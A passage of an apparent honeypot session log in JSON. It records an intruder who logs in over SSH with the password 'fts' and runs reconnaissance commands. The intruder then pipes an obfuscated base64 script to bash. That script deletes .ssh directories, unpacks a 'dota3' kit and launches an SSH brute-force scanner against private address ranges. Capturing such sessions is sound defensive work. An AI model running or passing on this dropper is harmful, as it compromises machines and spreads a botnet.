-l"},{"seq":14,"at":"2026-08-20T06:09:25.653535+00:00","kind":"output","latency_ms":940,"data":"*/5 * * * * /usr/local/bin/backup.sh >/dev/null 2>&1\n15 2 * * * /opt/app/bin/rotate-logs.sh >/dev/null 2>&1\n0 * * * * /usr/bin/find /var/log -type f -name '*.log' -mtime +7 -delete >/dev/null 2>&1"},{"seq":15,"at":"2026-08-20T06:09:25.932235+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-20T06:09:27.150085+00:00","kind":"output","latency_ms":1217,"data":" 10:12:41 up 2:59, 1 user, load average: 0.04, 0.05, 0.01\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nfts pts/0 203.0.113.1 10:10 0.00s 0.03s 0.00s w"},{"seq":17,"at":"2026-08-20T06:09:27.426533+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-20T06:09:27.427955+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-20T06:09:27.705599+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-20T06:09:28.237929+00:00","kind":"output","latency_ms":532,"data":"8"},{"seq":21,"at":"2026-08-20T06:09:28.526114+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-20T06:09:28.527578+00:00","kind":"output","latency_ms":null,"data":"top - 06:09:28 up 2:59, 0 user, load average: 0.1, 0.1, 0.09\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 372 free, 583 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-20T06:09:28.818349+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-20T06:09:28.820271+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-20T06:09:29.103082+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-20T06:09:29.104484+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-20T06:09:29.387737+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-20T06:09:29.389926+00:00","kind":"output","latency_ms":null,"data":"fts"},{"seq":29,"at":"2026-08-20T06:09:29.671298+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-20T06:09:30.466656+00:00","kind":"output","latency_ms":795,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-20T06:09:30.746510+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-20T06:09:31.267670+00:00","kind":"output","latency_ms":522,"data":"24G"},{"seq":33,"at":"2026-08-20T06:09:32.223399+00:00","kind":"input","latency_ms":null,"data":"echo \"fts fts\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-20T06:09:32.505394+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-20T06:09:33.063184+00:00","kind":"output","latency_ms":562,"data":""},{"seq":36,"at":"2026-08-20T06:09:33.449080+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-20T06:09:34.407749+00:00","kind":"output","latency_ms":958,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-20T06:09:34.688131+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-20T06:09:38.208945+00:00","kind":"output","latency_ms":3521,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-20T06:09:38.486446+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-20T06:09:38.764270+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T06:09:39.610857+00:00","kind":"output","latency_ms":847,"data":"1"},{"seq":43,"at":"2026-08-20T06:09:39.889747+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-20T06:09:40.329626+00:00","kind":"output","latency_ms":440,"data":"1"},{"seq":45,"at":"2026-08-20T06:09:40.609668+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-20T06:09:48.887992+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-20T06:09:48.893239+00:00","kind":"output","latency_ms":null,"data":"fts"}],"credentials":[{"username":"fts","password":"fts","method":"password","accepted":true,"tier":"other"}]}